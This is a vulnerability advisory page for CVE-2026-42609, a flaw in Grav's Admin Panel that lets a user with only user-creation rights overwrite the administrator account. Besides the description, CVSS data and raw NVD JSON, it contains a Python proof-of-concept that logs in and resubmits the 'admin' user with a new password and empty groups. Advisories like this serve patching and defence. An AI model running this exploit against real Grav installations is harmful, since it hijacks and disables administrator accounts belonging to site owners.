Security Vulnerability Report
中文
CVE-2026-42609 CVSS 8.1 HIGH

CVE-2026-42609

Published: 2026-05-11 16:17:34
Last Modified: 2026-05-11 16:17:34

Description

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account. This vulnerability is fixed in 2.0.0-beta.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Grav < 2.0.0-beta.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/admin" username = "attacker" password = "attacker_password" session = requests.Session() # 1. Login as a low-privileged user with user creation rights login_payload = { "data": { "username": username, "password": password }, "action": "login" } response = session.post(f"{target_url}/login", json=login_payload) if response.status_code == 200: print("[+] Login successful") # 2. Exploit: Create a new user with the same username as the admin (e.g., 'admin') # This triggers the vulnerability where the existing admin account is overwritten exploit_payload = { "data": { "username": "admin", # Existing admin username "email": "[email protected]", "password": "new_admin_password", "groups": [""] # Empty groups or lower privilege group to de-escalate }, "action": "save_user" } exploit_response = session.post(f"{target_url}/users/save", json=exploit_payload) if exploit_response.status_code == 200: print("[+] Exploit sent successfully. Admin account likely overwritten.") else: print("[-] Exploit failed.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42609", "sourceIdentifier": "[email protected]", "published": "2026-05-11T16:17:33.610", "lastModified": "2026-05-11T16:17:33.610", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account. This vulnerability is fixed in 2.0.0-beta.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-837"}]}], "references": [{"url": "https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/commit/c66dfeb5ff679a1667678c6335eb9ff3255dfc47", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/commit/d904efc33e03ebb597afde8d3368b28cf0423632", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-rr73-568v-28f8", "source": "[email protected]"}]}}